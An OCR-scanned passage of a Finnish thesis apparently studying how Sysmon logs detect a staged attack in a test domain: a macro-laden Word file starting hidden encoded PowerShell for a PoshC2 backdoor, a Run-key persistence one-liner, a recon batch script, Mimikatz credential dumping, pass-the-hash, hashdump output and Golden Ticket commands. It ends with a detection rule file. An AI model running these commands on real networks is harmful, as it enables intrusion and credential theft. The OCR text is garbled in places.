tiin. Makro on luotu siten, etté se suorittaa itsensa automaattisesti, jos kayttajan asetuk-
set sallivat sen. Muussa tapauksessa kayttdjan on hyvaksyttava makron suoritus erik-

seen painamalla Enable Content -valintaa (Kuva 10).

& ome ey ew - . —_— — =
- f = a —— B — e ¥

Clipboard Font Paragra

! Security Warning Macros have been dis.EI::uIEd. Enable Content
[y

|Clickf-:||' more details

Kuva 10. Enable Content -valinta.
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Haitallinen dokumentti ladattiin Outlookin selainpohjaisesta sadhképostista, jolloin lah-
desovelluksena on firefox.exe. Normaalin Word-tiedoston tiedostopaate on docx, mutta
makroja sisadltava dokumentti paattyy puolestaan docm-paatteeseen. File stream
created -tapahtumasta voidaan havaita, etta kayttaja on ladannut mahdollisesti haitalli-
sen tiedoston (Kuva 11). File stream, eli datavirta on tietoliikenteessa sarja digitaalisesti
ohjelmoituja koherentteja signaaleita (paketti dataa tai IP-paketti), jotka laite lahettaa tai
vastaanottaa (ITS 1996). Selaimet ja sdhkdpostit kayttavat datavirtaa merkitsemaan in-

ternetista tai ulkoisista lahteista ladattuja tiedostoja.

2019 Apr 19 20:01:48 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(15): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93C5

B3U. testlab.com: File stream created:

UtcTime: 2019-04-20 03:01:48.620 ProcessGuid: {af723159-8a0c-5cba-0000-0010c9da2900} ProcessId: 4420 Image: C:\Prog
ram Files\Mozi1la Firefox\firefox.exe| TargetFilename: C:\Users\testi.ukko\AppData\Local \Temp\‘ CreationUtcTime: 2019-04-20
03:01:47.026 Hash: MD5=3B3F399AD856201156F5A157E493B030, SHA256=760E 3FE64CLD0F 3BES 34AF 35A9AF 9ECB4 38EBDC7 61E 32BE3B9B9B372FF697CFD, IMPHASH=0000000000
0000000000000000000000

Kuva 11. File stream created.

Muut makroja kayttavat Microsoft Officen sovellukset ja niiden tiedostopaatteet on lue-

teltu taulukossa (Taulukko 2).

Taulukko 2. Microsoft Officen makroja kayttavat sovellukset.

Tiedostotyyppi Tiedostopaate
Excel Macro-Enabled Workbook Xlsm
Excel Macro-Enabled Add-In Xlam
PowerPoint Macro-Enabled template .potm

PowerPoint Open XML Macro-Enabled | .pptm

Presentation

PowerPoint Macro-Enabled slide .sldm
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Kayttdjan avattua makroilla muokatun dokumentin, syntyy process create -tapahtuma.
Prosessin avaamisesta syntyvasta tapahtumasta kay ilmi, ettd Word-ohjelma on avannut
Windows Powershellin ja suorittanut sita kautta dokumenttiin upotetun takaoven lataa-
van komennon. Lokin commandline-kohdassa nakyva latauskomento on suoritettu pa-
rametreilla execution policy bypass, noninteractive, windowstyle hidden ja encodedcom-
mand. Maaritetyt parametrit antavat automaattisesti luvan suorittaa komentoja ja piilot-
tavat avautuvan komentorivi-ikkunan kayttajalta. Encodedcommand-parametri, joka na-
kyy pelkkana e -kirjaimena kaantdd koko komennon sisallon Base64-muotoon (Kuva
12).

2019 Apr 19 20:01:54 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(1): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93C
583U.testlab. com: |Process Create: UtcTime: 2019-04-20 03:01:54.289 ProcessGuid: {af723159-8ba2-5cba-0000
-0010b48a4100} ProcessId: 108 Image: C:\Windows\SyswOw64 windowsPowerShe11\v1.0[Egﬁfrshell.exfl FileVersion: 10.0.17763.1 (WinBui1d.160101.0800
) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation CommandLine: powershell.exe -e
xec bypass -Noninteractive -windowstyle hidden -e

-->Base64 Encoded payload <--
CurrentDirectory: C:\Users\TESTI~1.UKK\AppD

ata\Local\Temp\ User: TESTLAB\testi.ukko LogonGuid: {af723159-88fe-5cba-0000-00200c330d00} LogonId: 0xD330C TerminalSessionId: 1 Integrityle
vel: Medium Hashes: MD5=83767E18D829851A804A9E 312D0EDIIC , SHA25 6=1EE307C80D075D64F97D04D036ES5804 3F2F68C959C87CD5SBOAGDS 3896B96A0F , IMPHASH=D1A922C
94A1F407CB2BBCADO33C8ED7A ParentProcessGuid: {af723159-8b9¢c-5cba-0000-0010f9ad4000} ParentProcessId: 7448 ParentImage: C:\Program Files (x86)\
Microsoft 0ff1ceﬁroot\0ff1ce16\NINWORD.EXE\ ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Officel6\WINWORD.EXE" /n "C:\Users\T
ESTI~1.UKK\AppData\Local\Temp\Tarkea asiakirja-1.docm" /o ""

Kuva 12. Process Create.

Haitallisen komennon suoritettua takaovi on asentunut onnistuneesti ja powershell luo
yhteyden PoshC2-palvelimeen, jonka IP-osoite on 10.10.10.101. Takaovi tarkistaa yh-
teyden hallintapalvelimeen 5 sekunnin valein. Network connection detected -tapahtu-
mista havaitaan, etta powershell.exe sovellus luo yhteydenotot kyseiseen IP-osoittee-
seen (Kuva 13).

2019 Apr 19 20:02:03 WinEvtlog: Microsoft-Windows-Sysmon/Operational: INFORMATION(3): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93(5B3U.testlab.com
¢[Network connection detected:] UtcTime: 2019-04-20 03:02:01.585 ProcessGuid: {af723159-
8ba2-Scba-0000-001004824100) ProcessId: 108 Inage: C:\Windows\SysHONG4\HindowsPonerShell\vi.0fponershell.exe| User: TESTLAB\testi.ukko Protocol: tep Initiate
d: true SourceIsIpvé: false Sourcelp: SourceHostname: DESKTOP-93C5B3U.testlab.com SourcePort: 49946 SourcePortName: DestinationIsIpvé: false
DestinationIp: [10.18.10,101| DestinationHostname: DestinationPort: 443 DestinationPortName: https

Kuva 13. Network connection detected.
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5.2 Prosessin injektointi

Prosessin injektoimisella tarkoitetaan haitallisen koodin sy6ttéamista toiseen prosessiin.
Taman avulla voidaan ajaa takaoven kautta syotettyja komentoja injektoidun prosessin
kautta. Uuden prosessin haltuunotto voi mahdollistaa padsyn prosessin muistiin, jarjes-
telman tai verkon resursseihin seka mahdollisesti suurempiin oikeuksiin. Naamioitumi-
nen aktiiviseksi ja natiiviksi prosessiksi saattaa myds hidastaa hytkkayksen havaitse-
mista. (MITRE 2019.)

Hydkkayksen tartuntavaiheen jalkeen migratoidaan alkuperainen takaovi uuteen proses-
siin. CreateRemoteThread-tapahtumasta havaitaan, ettd powershell.exe luo uuden séai-

keen netsh.exe -tiedostoon (Kuva 14).

2019 Apr 20 12:04:16 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(S): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93(5B3U.t
estlab. con: [CreateRenoteThread detected:| UtcTime: 2019-04-20 19:04:16.109 SourceProcessGuid: {af723159-6¢
89-5¢cbb-0000-0010791a7d00} SourceProcessId: 6996 SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe| TargetProcessGuid: {af723159
-6d30-5cbb-0000-0010bef97e00} TargetProcessId: 2924 TargetImage: C:\,h‘indows\.SysteMZ\\netsh.exeI NewThreadId: 1628 StartAddress: 0x0000000000010000
StartModule:  StartFunction:

Kuva 14. CreateRemoteThread detected.

Haittaohjelma kirjoittaa polun sen dynaamiseen linkkikirjastoon (DLL) toisen prosessin
naennaismuistiin (disk space) ja varmistaa, etta etainen prosessi lataa sen luomalla sai-
keen (thread) kohdeprosessiin (Kuva 15) (Hosseini 2017).

CLASSIC DLL INJECTION

TARGET MALWARE

/’

A

\/\”';5\“7/\/

Kuva 15. Remote Thread (Hosseini 2017).

DLLLOADED  IMAGE CONTENTS
rmem—

Pesadutndiady
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5.3 Persistenssi

Persistenssi on toiminnan tai ilmién jatkuminen, vaikka sen aiheuttanut asia on lakannut
vaikuttamasta tai se kohtaa esteitd. Hyokkadjien yhtena tavoitteena on luoda persis-
tenssi takaovi tartutettuun jarjestelmaan, jotta yhteys kohteeseen sailyisi mahdollisim-
man pitkaan. Persistenssin avulla mahdollistetaan se, etta esimerkiksi verkkoyhteyden
katketessa, koneen uudelleen kaynnistyessa tai sovelluksen sammuessa, tartutettu
kone ei havia kontrollista. Hyokkaajien yhtena suosimana tekniikkana on ollut asentaa
kaynnistystiedosto Windowsin rekisteriin, joka avaa haitallisen sovelluksen aina kaytta-
jan kirjautuessa koneelle. (MITRE 2019.)

PoshC2-palvelimen avulla voidaan asentaa niin sanottu autorun-persistenssi. Persis-
tenssin asennettua lokitapahtumasta havaitaan, etta IEUpdate -niminen rekisteriavain
on lisatty kayttdjan Software\Microsoft\Windows\currentversion\run\ -rekisterijuureen.
PoshC2 asentaa myos erillisen Wallpaper777-nimisen avaimen toiseen juureen, joka si-
saltda varsinaisen takaoven latauskomennon. Joka kerta sisddnkirjautuessa, IEUpdate
kaynnistaa powershellin ja suorittaa latauskomennon siséltavan avaimen kayttajan huo-

maamatta (Kuva 16).

2019 Apr 20 12:07:30 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(13): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93CSB3V.
testlab. com: EventType: SetValue

UtcTime: 2019-04-20 19:07:30.750 ProcessGuid: {af723159-6d30-5¢cbb-0000-0010bef97¢00} ProcessId: 2924 Image: C:k]n‘indoas‘\,systemiz TargetObj
ect: [HKU‘\S~1-5-21-2390972098-2381905344-2714287512-1117‘\Software‘\M1'crosoft"‘v\mndws\(urrent\iersmn‘ Run) IEUpdate| Details: C:\Windows\System32\WindowsPow
erShell\v1,0\powershell.exe -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path Registry::HKCU\Software\Microsoft\Windows\c

P

urrentversion\themes\).Wallpaper777

Kuva 16. Registry value set.

Persistenssin asentumisen voi tarkastaa Sysinternalsin kehittamalla autoruns-ohjelmalla
(Kuva 17).
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3 Autoruns [TESTLAB\testi.ukko] - Sysinternals: www.sysinternals.com - O X

File Entry Options User Help

FIEE.Y RN ]

%) KnonnblLs @& winiogon & Winsack Providers 21 Print Monitors O L5 Providers ' Network Providers & wmt 1] offce
O Everything 2 Logen o Explorer @ Interet Explorer [4) scheduled Tasks 6 Services B orivers Codecs [ Boot Execute [ image Hiacks %) Applnit
Autonun Entry Description Publisher Image Path
& HKCU\SOFTWARE \Microsoft\Windows\Current Version\Run
Ol IEUncate Fie not found: bypass
< >
i Tl File not found: bypass
C:\Wir \Gystem3: Shelly 1. -exec bypass Noninteractive -windowstyle hidden - iex (Get-TtemProperty -Path Registry::HKCU\S WMicrosoft! It .\Wallpaper 777
Ready. Signed Windows Entries Hdden.

Kuva 17. Autoruns-ohjelma.

5.4 Sisainen tiedustelu

Sisdisessa tiedustelussa hydkkaaja haluaa tietda mahdollisimman paljon yrityksen ym-
paristostd, jotta han voi suunnitella oikean reitin tavoitteeseen. Tiedustelussa kaytetaan
yleensa jo valmiina saatavilla olevia ohjelmia, kuten Nmap tai Bloodhound. Nama ohjel-
mat kuitenkin nojautuvat enemmankin verkkopakettien analysointiin, eik& niitd voida ha-
vaita Sysmonin lokitapahtumista. Hyokkaajat suosivat myds Windowsin natiiveja tytka-
luja, jotka eivat laukaise halytyksid virustorjuntaohjelmissa tai aiheuta epailyksia lokita-
pahtumia tarkastellessa. Windowsin natiivit tiedustelukomennot voidaan kerata yhdeksi
skriptiksi ja ajaa ne tartutetulla koneella saadakseen lisda tietoa toimialueesta ja tartute-
tusta kayttajasta (Kuva 18).
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Zecho off

::Luo kansio c:\.temp

mkdir c:\temp

ttEayttdidn nimi, oikeudst ja ryhmat

whoami /fall>>"c:\temp\tiedustelu.txt"

i IP-asetukset

ipconfig fall>»"c:\temp\tiedustelu.txt"
piAktiivisetr TCP-yhteydet

10 netstat -nao>>"c:\temp\tiedustelu.txt"

::Kdynnissd olewvat palvelut

net start>>"c:\temp\tiedustelu.txt"

::Kdynnissad olevat prosessit

WMIC PROCESS liste»»>"c:\tempi\tiedustelu.txt"™
::Jadrjestelmdn kayttdjacilic

WMIC useraccount get fallz>"c:\temp\tiedustelu.txt™
::Jirjestelmidn pddkdyctidjac

2 net localgroup administrators»>>"c:l\tempi\tiedustelu.txt"
g ::Laitteet nykyisessd toimialueessa

| net views>"c:\temph\tiedustelu.txt"

21 :iToimialueet verkossa

22 net view /domain>>"c:\temptiedustelu.txt™

23 ::Glokaalit ryhmat toimialueessa

24 net group /domaine»"ci‘temphtiedustelu.txc™

25 ::"Domain users"™ -ryhmdn jdsenet

26 net group "domain users" Sdomain>>"c:\temp\tiedustelu.txt"

=T JTE VI (. T B S PV

I
A T I S O

2 ::"Domain admins"™ -ryhmdn jasenet

28 net group "domain admins" Sdomain>>"c:\temp\tiedustelu.txt"”

29 ::"Domain controllers™ —-ryhmdn jdsenet

30 net group "domain controllers" Sdomain>»>"c:l\temph\tiedustelu.txt"

31 11 "Exchange domain servers" -—-ryhmin jdsenet

32 net group "exchange domain servers" /domain>>"c:\temphtiedustelu.txt™
] 1 "Exchange servers" —ryhmdn jisenet

34 net group "exchange servers /domain>>"c:\temp\tiedustelu.txt"

35 ::"Domain computers” —-ryhmdEn jdsenet

36 net group "domain computers” fdomain>>"c:\temp\tiedustelu.txt"

Kuva 18. Tiedusteluskripti.

Kun tiedusteluskripti kdynnistetaan, niin se keréé kaikki saadut tiedot omaan tekstitie-
dostoon, jonka hyotkkaaja voi ladata. Jokaisesta skriptin suorittamasta komennosta syn-
tyy Process Create -lokitapahtuma, jossa nahdéan syotetty komento CommandLine-
kohdassa (Kuva 19).

Process Create:
RuleName:
UtcTime: 2019-05-21 22:31:09.908
ProcessGuid: {f6fe931b-7c2d-5ced-0000-0010521a205}
Processld: 13728
Image: C:\Windows\System32\wbem\WMIC.exe
FileVersion: 10.0.17134.1 (WinBuild.160101.0800)
Description: WMI Commandline Utility
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
ommandLine: WMIC useraccount get /all| Tiedusteluskriptin syottama komento
CurrentDirectory: C:\WINDOWS\system32\
User: DESKTOP-UGNQVD5\Aleksi
LogonGuid: {f6fe931b-1243-5ced4-0000-00201b57b803}
Logonld: 0x3B8571B
TerminalSessionld: 6
IntegrityLevel: High
Hashes: MD5=EC80EG03E0090B3AC3C1234C2BA43A0F, SHA256=D368BCB7934DBOC53D1E7277DCBATAF
ParentProcessGuid: {f6fe931b-7c2b-5ced-0000-001077b6a205}
ParentProcessld: 13492 3 e
Parentimage: C:\Windows\System32\cmd.exe Tiedusteluskripti
ParentCommandLine: "C:\WINDOWS\System32\cmd.exe” /C “C:\Users\AIeksa\Desldop

Kuva 19. Skriptin syottdma komento.
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5.5 Kirjautumistietojen etsiminen

Kirjautumistietojen etsiminen on hyodkkaysvaihe, jossa hyokkaaja pyrkii loytamaan jar-
jestelmista kayttajien salasanoja selkotekstin tai tiivisteen muodossa. Loydettyja kirjau-
tumistietoja voidaan hyvaksikayttaa eri hyokkaystyodkaluilla, joiden avulla voidaan liikkua
uusiin jarjestelmiin ja mahdollisesti l6ytaa tietoa, johon normaalilla kayttajalla ei ole lu-
kuoikeuksia (MITRE 2019). Kirjautumistietoja pystyy lukemaan suoraan tietokoneen va-
limuistista esimerkiksi Mimikatzin avulla. Mimikatz on todella suosittu ja tehokas tydkalu,
koska se perustuu avoimeen lahdekoodiin. Jokainen hyotkkaaja voi siis itse muokata sen
lahdekoodia ja taméan avulla ohittaa mahdollisesti virustorjunnan tekemat tarkistukset.
Myds monet hyokkaysalustat, kuten tassa tydssa kaytetty PoshC2-palvelin, ovat integ-
roineet Mimikatzin tyokaluihinsa.

PoshC2 -palvelimen kautta syotetylla Mimikatzin komennolla saadaan listattua kaikki ko-
neessa saatavilla olevat kirjautumistiedot. Tahan siis sisaltyy kaikkien niiden kayttajien
kirjautumistiedot, jotka ovat kirjautuneena koneelle komennon syo6ttamishetkella. Tartu-
tetun kohdekoneen paakayttajan nimi oli "testi.ukko”. Koneen muistista kuitenkin 16ytyi
kayttajan "timo.jutila” kirjautumistiedot, joita voimme hyvaksikayttdd seuraavassa hyok-
kaysvaiheessa. Hyokkayksen kannalta olennaiset kirjautumistiedot, jotka Mimikatz lukee
Isass.exe-prosessin valimuistista ovat kayttajanimi, toimialue ja NTLM-tiiviste. Windows
7 ja aikaisempien kayttojarjestelmien valimuistista on mahdollista lukea my0s salasanat
selkotekstin muodossa. Hydkkayksen kohdekoneen kayttojarjestelména toimii kuitenkin
Windows 10 ja taman takia salasanaa ei ole mahdollista lukea selkotekstina (Kuva 20).
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mimikatz(powershell) # [sekurls Logonp words

Authentication Id : © ; 10039981 (00000000:009932ad)
ion : Interactive from 2
Name : timo.jutila
Domain : TESTLAB
Logon Server : TESTI-A
Logon Time : 20/04/2019 12.54.12
SID : §-1-5-21-2390972098-2381905344-2714287512-1106
msv :
[00000003] Primary
Username : timo.jutila
Domain : TESTLAB
* INTLM = e

£
I

SHA1 : 3bl5deef€ 1f6a o bd7aa744e
¥ DPAPI : c3b262db98f2ac9c4a56353bbffeedel

: timo.jutila
: TESTLAB.COM

(null)

Kuva 20. Kirjautumistietojen luku muistista.

Mimikatzin lukiessa kirjautumistiedot Isassin valimuistista ilmenee Process accessed -
tapahtuma. Tapahtumasta havaitaan, ettd netsh.exe (lahdeprosessi) on lukenut onnis-
tuneesti Isass.exe:n (kohdeprosessi) valimuistin oikeuksilla 0x1010 (GrantedAccess)
(Kuva 21).

2019 Apr 20 12:11:03 WinEvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(10): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93C583U
testlab. com: Process accessed: UtcTime: 2019-04-20 19:11:03.062 SourceProcessGUID: {af723159-6d30-5cbb-0000-00
10bef97e00} SourceProcessId: 2924 SourceThreadId: 7268 SourceImage: C:\Windows\system32\netsh.exe| TargetProcessGUID: {af723159-e80b-5cbb-0000-00106
4640000} TargetProcessId: 620 TargetImage: C:\windows\systemBZfTEEEETEiEW GrantedAccess: |0x1010| CallTrace: C:\Windows\SYSTEM32\ntd11.d11+9fb54|C:\Wi
ndows\ System32\KERNELBASE. d11+20d0e | UNKNOWN(000002503914621C)

Kuva 21. Process accessed (0x1010).

Windowsin tietoturvamalli mahdollistaa prosessien valisten paasyjen kontrolloimisen.
Prosessit tarvitsevat luvan suorittaakseen eri operaatioita keskenéan. Lupia on yhteensa
14 kappaletta, joista Mimikatz tarvitsee vain kahta. GrantedAccess-arvo saadaan naista

kahden tarvittavan luvan arvon summasta (Kuva 22) (Rodriguez 2017).
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GrantedAcces Permissions
0x0010 PROCESS_VM_READ
+
0x1000 PROCESS_QUERY_LIMITED_INFORMATION
= 0x1010

Kuva 22. GrantedAccess-arvo.

5.6 Kirjautumistietojen hyvaksikaytto

30

Edellisessa vaiheessa loydetyista kirjautumistiedoista voidaan hyvaksikayttad kayttajan

"timo.jutila” NTLM-tiivistettd. K&aynnistetdan Mimikatzin Pass-the-Hash (pth) -komennolla

komentorivi (Kuva 23).

mimikatz(powers
/ntlm:db66fech
user : timo.jutila
domain : testlab.com
cmd
: no
: db66fecb3a®33ccaf6c570bed62f223F
PID 1896
TID 8268
LSA Process
LUID © ;

msvl ©
k =

5 - data copy

000001C24D7EOE78
11

rc4 hmac old
rc4 md4
rc4 hmac nt exp

Kuva 23. Pass-the-Hash.

000001C24D6A5A80 :

.jutila /domain:testlab.com

oK !

Uusi komentorivi kAynnistyy komennossa maéaritetyn kayttajan oikeuksilla. Koska kéayt-

tajalla timo.jutila on toimialueen yllapitdjan oikeudet, niin komentorivilla on mahdollista

luoda yhteys toimialuepalvelimeen tai mahdollisesti muihin laitteisiin. Tiivistetta voi myds

hyvaksikayttda missa tahansa toimialueen sisalla. Kuvassa on rinnakkain kaksi komen-
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torivia, joista vasen on kaynnistetty tydpdydan ja oikea Mimikatzin kautta. Taustalla na-
kyvasta tehtavienhallinnasta nahdaan myds, etta oikeanpuoleisen komentorivin on kayn-

nistanyt takaovena toimiva sovellus netsh.exe (Kuva 24).

a < e
GPU Graph Threads TCP/IP Security Environment Strings GPU Graph Threads TCPfTP Security Environment ~ Job Strings.
Image Performance Performance Graph Disk and Network Image Performance Performance Graph Disk and Network
Image Fie Image File
Windows Command Processor Windows Command Processor
Version:  10,0.17763.1 Version:  10.0.17763.1
Buidd Time: ThuMov 20 12:18:58 1975 Build Time: Thu Nov 20 12:18:58 1975
Path: Path:
[ c:\Windows\System32\amd. exe | Explore C:\Windows \System32\emd, axe Explore
Command line: Command line:
[ C:Windows\system3z\amd.exe” emd
Current directory: Current drectory:
| C:\Windows\System32\, | | C+\Wwindows \System32\
Autostart Location: Autostart Location:
|nf'a |f [ | |Explore
= P _rth s =
User: TESTLAB\testi ukko User: TESTLAB \testi. ukko
Started:  18.14.45 30/04/2019 Image: 64-bit Bring,to Front Started: 18,1542 30/04/2019 Image: 63-bit Erig 1o ot
BN Administrator: Command Prompt - [m] bt =

Kuva 24. Kaynnistetty komentorivi.

Kun komentorivi kdynnistettiin Mimikatzin kautta, niin tapahtumalokiin tulee jalleen Pro-
cess accessed -tapahtuma. Téalla kertaa tapahtumia on kuitenkin kaksi, joista alempi on
taysin sama kuin edellisessd hytkkayksessd, mutta ylemmassa tapahtumassa taka-
ovemme on saanut puolestaan GrantedAccess 0x1038 -arvon. Tata voidaan kayttaa in-

dikaattorina Pass-the-Hash hyotkkayksen onnistumisesta (Kuva 25).
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2019 Apr 3@ 18:15:42 WinEvtlog: Microsoft-Windows-Sysmon/Operational: INFORMATION(1@): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93C5B3U.te
stlab.com: UtcTime: 2019-85-01 ©1:15:42.814 SourceProcessGUID: {af723159-da92-5cc8-0000-00108¢
€73e00} SourceProcessId: 5892 SourceThreadId: 5396 Sourcelmage: C:\Windows\system32{netsh.exe| TargetProcessGUID: {af723159-658e-5cc9-0000-00108664000
@} TargetProcessId: 612 TargetImage: C:\Windows\system32{lsass.exe| GrantedAccess: [@x1038] CallTrace: C:\Windows\SYSTEM32\ntdll.d11+9¢bS54|C:\Windows\Sy
stem32\KERNELBASE . d11+2@d0e | UNKNOWN(0@@001EA1BF37CE2)

2019 Apr 3@ 18:15:42 WinEvtlLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(1@): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: DESKTOP-93CSB3U.te
stlab.com: |Process accessed: UtcTime: 2019-85-81 ©1:15:42.801 SourceProcessGUID: {af723159-da92-5cc8-0008-00108F
e73e@@} SourceProcessId: 5892 SourceThreadId: 5396 Sourcelmage: C:\\‘.’inﬂol‘.s\systemﬂ TargetProcessGUID: {af723159-658e-5cc9-0000-00108664000
@} TargetProcessId: 612 TargetImage: C:\Windows\system32{lsass.exe| GrantedAccess: m CallTrace: C:\Windows\SYSTEM32\ntdll.d11+9fb54|C:\Windows\Sy
stem32\KERNELBASE . d11+2@d@e | UNKNOWN (@@@@01EA1BF3621C)

Kuva 25. Process accessed (0x1038).

Suorittaakseen Pass-the-Hash hyokkayksen, Mimikatz tarvitsee siis taulukossa 3 ilmoi-
tetut oikeudet, joiden yhteenlaskettu arvo on 0x1038 (Taulukko 3).

Taulukko 3. GrantedAccess-arvo.

GrantedAccess | Permissions

0x1000 PROCESS_QUERY_LIMITED_INFORMATION
0x0010 PROCESS_VM_READ

0x0020 PROCESS_VM_WRITE

0x0008 PROCESS_VM_OPERATION

5.7 Ympariston hallinta

Tavoiteltaviin resursseihin paasemista helpottaa yleenséd koko toimialueen kayttgjien
hallinta. Hallitakseen koko toimialuetta hyokkaajan on ensiksi saatava aktiivinen etayh-
teys toimialuepalvelimeen. Etayhteyden luomiseksi hytdynnetaan Metasploittiin integ-
roitua PsExec-moduulia, jossa voimme hyddyntaa kirjautumistietojen etsimisvaiheessa
[6ydettya kayttajan NTLM-tiivistetta (Offensive Security 2019). Etayhteyden saatua suo-
ritetaan hashdump-komento, joka lukee kaikkien toimialueen kayttajien NTLM-tiivisteet

palvelimen muistista (Kuva 26).
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meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ef2664677c70506df9a5658e195¢cal62: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0: : :
krbtgt}:502:aad3b435b51404eeaad3b435b51404ee:0ce5b45a8d74ef727c6a49a26a216355: : :

timo.jutila:1106:aad3b435b51404eeaad3b435b51404ee:db66fecb3ab33ccafbc570bed62f223F: : :
patrik.laine:1108:aad3b435b51404eeaad3b435b51404ee:20305b4198476ef0c6dfhba0dledd12e: : :
sebastian.aho:1115:aad3b435b51404eeaad3b435b51404ee:69ee725deba8d5e47bf859a3c4c068ca: : :
mikko.rantanen:1116:aad3b435b51404eeaad3b435b51404ee:acaea7b56cccf0724583dc200f3face9: ::

Kuva 26. Toimialueen kayttajien NTLM-tiivisteet.

Toimialuepalvelimelta l6ydettyja NTLM-tiivisteitd voidaan kayttdd uusissa Pass-the-
Hash hyokkayksissa. Kayttgjista tarkein on kuitenkin kuvassa nakyva krbtgt-kayttaja.
Krbtgt -kayttaja vastaa toimialueen kerberos TGT-tikettien salaamisesta kayttajien ja pal-
velimen valilla. Kayttamalla krbtgt-kayttajan NTLM-tiivistettd, voimme luoda Mimikatzilla
Golden Ticketin, eli vadrennetyn TGT-tiketin, jota kdyttamalla on mahdollista paasta ka-
siksi jokaiseen toimialueessa olevaan resurssiin. Vaarennetty TGT-tiketti voidaan luoda
mille tahansa kayttajalle vaikka se ei kuuluisikaan toimialueeseen. Naamioidakseen toi-
mintaansa hytkkaajien taktiikkana on yleensa luoda kyseinen tiketti kayttajalle, joka kuu-
luu toimialueeseen ja kenelld pitaisikin olla oikeudet tavoiteltavaan resurssiin. Seuraa-
vassa esimerkissa suoritetaan Mimikatzilla Golden Ticket -hyokkays, jossa vaarennetty
TGT-tiketti annetaan toimialueeseen kuulumattomalle Kultainentiketti-nimiselle kaytta-
jalle. Suojaustunnisteena kaytetdaan krbtgt-kayttdjan suojaustunnistetta ja se on maari-
tetty S-parametrissa (Kuva 27).

meterpreter > golden ticket create -d testlab.com -u Kultainentiketti|-s S-1-5-21-2390972098-238
1905344-2714287512 -k |0ce5b45a8d74ef727c6a49a26a216355| -t /root/Downloads/Kultainentiketti.tck
[+] Golden Kerberos ticket written to /root/Downloads/Kultainentiketti.tck

meterpreter > kerberos ticket use /root/Downloads/Kultainentiketti.tck

[*] Using Kerberos ticket stored in /root/Downloads/Kultainentiketti.tck, 1884 bytes ...

[+] Kerberos ticket applied successfully.

meterpreter > kerberos ticket list

[+] Kerberos tickets found in the current session.
[00000000] - O0x00000017 - rc4 hmac nt
Start/End/MaxRenew: 21.4.2019 6:09:59 ; 18.4.2029 14:09:59 ; 18.4.2029 14:09:59
Server Name : krbtgt/testlab.com @ testlab.com
Client Name : Kultainentiketti @ testlab.com
Flags 40e00000 : pre authent ; initial ; renewable ; forwardable ;

Kuva 27. Golden Ticket -hyokkays.
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Vaarennetyn TGT-tiketin luomisvaiheessa ei ilmentynyt Sysmonin lokitapahtumia.
NTLM-tiivisteiden lukeminen toimialuepalvelimella aiheutti kuitenkin tapahtuman, jossa
takaovena toimiva isdntaprosessi injektoi haitallista koodia tunnistetietoja kasittelevaan

Isass -prosessiin (Kuva 28).

2019 Apr 21 05:54:24 WinkvtLog: Microsoft-Windows-Sysmon/Operational: INFORMATION(S): Microsoft-Windows-Sysmon: SYSTEM: NT AUTHORITY: Testi-AD, test]ab,
com:| CreateRenoteThread detected:‘ UtcTime: 2019-04-21 02:54:24,358 SourceProcessGuid: {0CFBSAFS-1F71-5CBA-0000-00108E651800} SourceProce

ssId: 4144 SourceImage: C:\Windows\System32\ServerManager,exe| TaretProcessGuid: {0CFBSAFS-3002-5C89-0000-00100C550000} TargetProcessId: 468 Target
Inage: C:\windows\Systemn\ NewThreadId: 2072 StartAddress: 0x000000F172380000 StartModule: StartFunction:

Kuva 28. CreateRemoteThread-tapahtuma.

5.8 Havainnoista luotu saantotiedosto

Tyon aikana suoritettujen hydkkaysten perusteella voidaan laatia Sysmonin séantotie-
dosto, joka perustuu lokitapahtumista tehtyihin havaintoihin (Kuva 29). Tulkinnan helpot-
tamiseksi saantttiedostoon on kommentoitu hydkkaysten eri vaiheet. Sdannét ovat ra-
kennettu siten, ettd ne havaitsevat jokaisen tydssa toteutetun hyokkayksen. Tapahtuma-
kategoriat, joita hyokkayksen aikana ei ilmennyt, on kokonaan poissuljettu saanngista.
Saantojen include-kohdat ovat myds todella suppeat, eivatka ne keraa tapahtumia an-
nettujen ehtojen ulkopuolelta. Kyseista sdantdtiedostoa ei suositella kaytettavaksi tuo-
tannossa, ellei siihen sisallyté lisda ehtoja jokaisen tapahtumakategorian osalta. Saan-
tétiedoston tarkoituksena on toimia esimerkkind siita, miten Sysmonin havainnointikykya

voidaan kehittaa laatimalla uusia séaantoja.
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<Sysmon schemaversion="4.20">
<HashRlgorithms>md5, imphash, sha256</HashAlgorithms:
<EventFiltering:
= <ProcessCreate onmatch="include">
<!--Haitallinen Office-dokumentti-->
<ParentImage nam
<ParentImage na

L
3
4

=

<!--Tiedustelukomennot—->
10 <CommandLine nams="System owner discowvery" condition="contains">whoami</CommandLines
11 <CommandLine na IPCONFIG discovery" condition="contains">ipconfig</CommandLine>

o

12 <CommandLine nams System Network Connections Discovery" condition="contains"rnetstat</CommandLine:
13 <Image name="NET.EXE discowvery" condition="contains">net</Image>
14 <Image name="WMI Querying" condition="image">wmic.exe</Image>
15 - </ProcessCreate>
16 <FileCreateTime onmatch="include"/>
17 = <HetworkConnect onmatch="include">
g <!--Takaoven yhteydenotto hydkkaajan koneeseen--»
19 <Image namse="Powershell network connection" condition="contains">powershell.exe</Image>
20 - </HetworkConnect>
